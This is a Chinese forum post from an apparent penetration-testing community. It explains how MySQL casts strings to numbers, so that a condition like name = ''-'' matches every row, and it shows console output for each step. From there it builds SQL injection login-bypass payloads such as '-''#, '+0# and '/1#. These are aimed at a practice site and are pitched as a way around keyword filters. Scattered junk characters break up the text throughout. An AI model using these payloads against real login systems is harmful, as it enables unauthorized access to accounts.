| 我们先来看这样一个场景。 有以下表结构: & k1 N" J6 J( k; t, v4 | mysql> desc admin; +----------+--------------+------+-----+---------+----------------+4 X- j9 T( a) y# p( H | Field | Type | Null | Key | Default | Extra |4 M0 |8 h2 m# w2 e +----------+--------------+------+-----+---------+----------------+ _7 I3 [, f5 ^$ E' c3 S | id | mediumint(9) | NO | PRI | NULL | auto_increment |0 N( D2 U" S9 }( x2 w. `% w | name | char(32) | NO | UNI | NULL | | | password | char(32) | NO | UNI | NULL | |. i9 C: H9 L3 z d +----------+--------------+------+-----+---------+----------------+ 3 rows in set (0.00 sec) 执行select * from admin;,成功返回所有记录内容。 8 ]6 L; [ d% f% n1 m" d +----+--------+----------------------------------+ | id | name | password |2 e$ R! x, ~$ p* W +----+--------+----------------------------------+1 n2 E( B- Q( H: @4 J | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |" ], g3 D+ z( E$ i4 c2 F | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 | | 4 | n00b | ff80e8508d39047460921792273533a4 |8 x% F. s% R; y +----+--------+----------------------------------+ q* e7 |: B& A+ M 3 rows in set (0.00 sec)' a ?/ g; d* d 执行select * from admin where name=”;,没有匹配到任何记录。 ; f1 ^# l6 ~2 \: P mysql> select * from admin where name = ''; Empty set (0.00 sec)3 ]+ t, Q& N+ V3 q$ n: k0 X9 t 那么我们来执行select * from admin where name = ”-”; 7 p5 j; I% D# u W3 C +----+--------+----------------------------------+5 H+ N* w6 r( E, B# Q/ C: e | id | name | password |% I7 h! }1 y9 ]2 \: X6 b: a! N +----+--------+----------------------------------+ | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 | | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |$ j6 a/ }, g5 D" m' M* O. J( [: b | 4 | n00b | ff80e8508d39047460921792273533a4 | +----+--------+----------------------------------+" x* R0 H% x0 R1 p 3 rows in set, 3 warnings (0.00 sec)" S8 s$ ]" m& l; M3 r( z) _ 可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 4 J) |% U& u4 a u8 x8 T2 D mysql> show warnings;1 Q, L5 t" o2 J6 O# \: |1 X7 t +---------+------+------------------------------------------8 a) q1 F' Y, P! M, @9 f | Level | Code | Message' h0 p2 N- E. }9 Y% V& m \2 ^ +---------+------+------------------------------------------; |4 B/ K4 H6 m7 w& i% g( u# w& t | Warning | 1292 | Truncated incorrect DOUBLE value: 'admin | Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s | Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b +---------+------+------------------------------------------ 3 rows in set (0.00 sec)- P8 A1 q M5 N2 g6 M$ K 提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 * u9 s: q" w, n' Z mysql> select ''-''; +-------+ | ''-'' |! w3 o9 u, X S2 D& l9 o" j" O* D +-------+ | 0 | +-------+9 R) v- R G4 `, F) u. P) o 1 row in set (0.00 sec) 返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: mysql> select CAST((select name from admin limit 1,1) as DECIMAL); +-----------------------------------------------------+ | CAST((select name from admin limit 1,1) as DECIMAL) |7 g! H; b0 t' z4 v2 T9 C1 B +-----------------------------------------------------+# D: |2 ~% f9 v | 0 | +-----------------------------------------------------+/ n' v' ~$ {; T0 F$ l G, n+ A7 u2 o 1 row in set, 1 warning (0.00 sec) 因此where语句构成了相等的条件,where 0=”=”,记录被返回。 4 \2 ~. p0 K/ |3 |* \! p2 l& }5 l 4 ~, C7 V5 ?+ B. H k& U SQL注入场景: http://www.sqlzoo.net/hack/ % g) q' _2 r* A5 y + \& C8 J! e& _0 U! V' c, z 4 I% r* V' K( T$ l G" N ; k. d1 c) Z3 Z# j 如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 ; l+ u; v5 f2 z' B# w 那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 3 c7 e8 G% p' A d) c4 A; @9 p* l& | 8 }( }& O) Z j- j) G 仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可 ' U, L2 b; a+ ]2 n9 ^ mysql> select ''/1;. p: a$ s/ U" J* T +------+ | ''/1 |3 d) P: q2 L) d% A +------+# c+ x. a; V6 M1 k4 {% e | 0 |1 \: z! u- S% b6 n; e +------+ 1 row in set (0.00 sec) 类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。% }8 j2 E/ e' b! q2 y4 F |
| 欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |